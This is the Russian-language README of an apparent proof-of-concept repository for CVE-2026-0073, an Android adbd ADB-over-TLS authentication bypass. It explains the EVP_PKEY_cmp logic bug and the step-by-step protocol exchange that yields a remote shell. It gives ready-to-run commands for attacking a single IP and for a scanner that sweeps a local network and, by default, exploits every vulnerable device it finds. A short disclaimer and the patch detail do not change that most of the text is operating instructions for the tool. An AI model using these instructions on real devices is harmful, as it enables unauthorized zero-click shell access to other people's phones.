
Инструмент PoC для CVE-2026-0073 на устройствах Android 11+ , который позволяет мгновенно выполнить RCE с нулевым кликом на любом незапатченном устройстве с включённым adb через tcp.
Эксплойт proof-of-concept и сетевой сканер для CVE-2026-0073 — критической
уязвимости удалённого выполнения кода с нулевым кликом и без взаимодействия
в пути аутентификации ADB-over-TCP в Android adbd.
Уязвимость представляет собой логическую ошибку в adbd_tls_verify_cert() (daemon/auth.cpp),
где EVP_PKEY_cmp() трактуется как булев предикат. Когда сохранённый RSA-ключ
сравнивается с не-RSA TLS-сертификатом клиента (EC P-256 или Ed25519), API
возвращает -1 (несовпадение типов), что является истинным (truthy) значением в C/C++.
Это превращает несовпадение между разными алгоритмами в успешное совпадение ключа хоста —
полностью обходя аутентификацию.
Технические детали получены из BARGHEST.
Базовый код PoC взят из SecTestAnnaQuinn.
Исправлено в Android Security Bulletin — май 2026.
Из контекста shell атакующий может просматривать системные свойства, состояние
процессов, журналы, уведомления; устанавливать и удалять пакеты; использовать run-as
для отлаживаемых приложений; а также подготавливать последующую эксплуатацию.
| Файл | Назначение |
|---|---|
adb_tls_auth_bypass.py | PoC эксплойта для одной цели (оригинал от SecTestAnnaQuinn, исправлена контрольная сумма) |
adbt_scanner.py | Сетевой сканер — обнаружение уязвимых устройств + их эксплуатация |
requirements.txt | Зависимости Python |
Для успешной эксплуатации целевое Android-устройство должно иметь:
adbd)/data/misc/adb/adb_keys# Создание виртуального окружения
uv venv
# Активация
source .venv/bin/activate
# Установка зависимостей
uv pip install -r requirements.txt
Зависимости:
Сканер корректно деградирует при отсутствии необязательных пакетов — он
выдаст предупреждение и переключится на альтернативные методы (системная команда ip, nmap, TCP connect-сканирование).
Атака на известное уязвимое устройство напрямую.
python3 adb_tls_auth_bypass.py 192.168.1.42 # интерактивная оболочка
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
Или через сканер:
python3 adbt_scanner.py --host 192.168.1.42 # интерактивная оболочка
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
Сканирование локальной сети на предмет уязвимых устройств и эксплуатация всех подтверждённых целей.
# Полное сканирование: mDNS → ARP → сканирование портов → ADB-проба → эксплуатация
python3 adbt_scanner.py --scan
# Выполнение конкретной команды на всех уязвимых устройствах
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# Только разведка — обнаружение без эксплуатации
python3 adbt_scanner.py --scan --no-exploit
# Сканирование нескольких портов
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# Переопределение обнаруженной подсети (многосетевые хосты, конкретные диапазоны)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# Настройка таймаутов для медленных сетей
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# Увеличение окна прослушивания mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60
# Пропуск конкретных фаз обнаружения
python3 adbt_scanner.py --scan --no-mdns # пропустить mDNS, только ARP
python3 adbt_scanner.py --scan --no-arp # пропустить ARP, только mDNS
--scan Сканирование сети на уязвимые устройства + эксплуатация
--host HOST Прямая эксплуатация одной цели
--port PORT ADB-порт для режима --host (по умолчанию: 5555)
--cmd COMMAND Команда оболочки для выполнения
-v, --verbose Подробное логирование
--mdns-timeout SECONDS Длительность прослушивания mDNS (по умолчанию: 30)
--ports PORTS Порты через запятую в режиме --scan (по умолчанию: 5555)
--subnet CIDR Переопределение обнаруженной подсети (например, 192.168.2.0/24)
--connect-timeout SECONDS Таймаут TCP-подключения (по умолчанию: 2.0)
--probe-timeout SECONDS Таймаут ADB-пробы (по умолчанию: 3.0)
--arp-timeout SECONDS Таймаут ARP-сканирования (по умолчанию: 3)
--no-mdns Пропустить обнаружение mDNS
--no-arp Пропустить ARP-сканирование + сканирование портов
--no-exploit Остановиться после фазы ADB-пробы протокола
┌─────────────────────────────────────────────────────────────┐
│ 1. Определение подсети — netifaces → ip route → socket-трюк │
│ 2. Слушатель mDNS — _adb-tls-connect._tcp (30 с по умолч.)│
│ 3. ARP-сканирование — scapy.arping → nmap -sn │
│ 4. Сканирование портов — TCP connect к каждому host:port │
│ 5. ADB-проба протокола — отправка CNXN, классификация ответа │
│ │
│ STLS → УЯЗВИМО (переход к эксплуатации) │
│ AUTH → устаревшая ADB-аутентификация (не эта CVE) │
│ CNXN → открыто, без аутентификации (уже доступно) │
│ NO_ADB → не ADB-сервис │
│ │
│ 6. Эксплуатация — TLS-апгрейд → обход аутентификации → оболочка │
└─────────────────────────────────────────────────────────────┘
mDNS — самый точный метод идентификации: при сопряжении беспроводной отладки
Android явно транслирует _adb-tls-connect._tcp. ARP-сканирование +
сканирование портов служит универсальным запасным вариантом.
Фаза 1 — открытый (cleartext) ADB
Клиент → CNXN(payload="host::features=...")
Устройство → STLS (требуется апгрейд до TLS)
Фаза 2 — TLS 1.3 с клиентским сертификатом кросс-алгоритма
Клиент → ответ STLS
Клиент → рукопожатие TLS 1.3 + клиентский сертификат EC P-256
Устройство вызывает adbd_tls_verify_cert():
known_evp = RSA-ключ из /data/misc/adb/adb_keys
evp_pkey = ключ EC P-256 из клиентского сертификата
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (несовпадение типов)
if (-1) → verified = true ← ОШИБКА: -1 является истинным (truthy)
Фаза 3 — Пост-TLS сервисный уровень ADB
Клиент обрабатывает CNXN устройства (транспорт уже онлайн)
CNXN хоста не отправляется (это вызвало бы выброс handle_new_connection)
Клиент → OPEN(local_id, window=32MB, payload="shell:\x00")
Устройство → OKAY → установлен поток оболочки
shell (uid=2000). Компрометация
ядра, root-доступ и ключи аппаратного хранилища требуют дополнительного
повышения привилегий./data/misc/adb/adb_keys. Свежесброшенное устройство с включённой беспроводной
отладкой, но никогда не сопрягавшееся, не уязвимо.AUTH, а не STLS, и не подвержены данной CVE.EVP_PKEY_cmp на требование
точного возвращаемого значения == 1.Данное программное обеспечение предоставляется только для образовательных целей и санкционированных исследований безопасности. Инструменты и код в этом репозитории предназначены для помощи специалистам по безопасности, исследователям и владельцам устройств:
Вы не должны использовать данное программное обеспечение:
Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций и может повлечь уголовную и гражданскую ответственность. Авторы и участники не несут никакой ответственности за неправомерное использование, ущерб или юридические последствия, возникающие в результате использования данного программного обеспечения.
Используйте ответственно. Знайте свою цель. Получите разрешение.
CC0 1.0 Universal — Без сохранения прав.
В максимально возможной степени, предусмотренной законом, авторы отказались от всех авторских и смежных прав на эту работу.
| Атрибут | Детали |
|---|
| Вектор атаки | Сеть (смежная / проксимальная) |
| Взаимодействие | Нет (zero-click) |
| Получаемые привилегии | пользователь shell (uid=2000), SELinux u:r:shell:s0 |
| Примитив эксплуатации | Удалённый доступ к оболочке через ADB |
| CVSS | Критический (9.8) |
| Пакет | Используется | Обязателен? |
|---|
cryptography | Оба скрипта (генерация EC-сертификатов, TLS) | Да |
netifaces | Сканер (определение подсети) | Желательно |
zeroconf | Сканер (обнаружение mDNS) | Желательно |
scapy | Сканер (ARP-сканирование) | Желательно |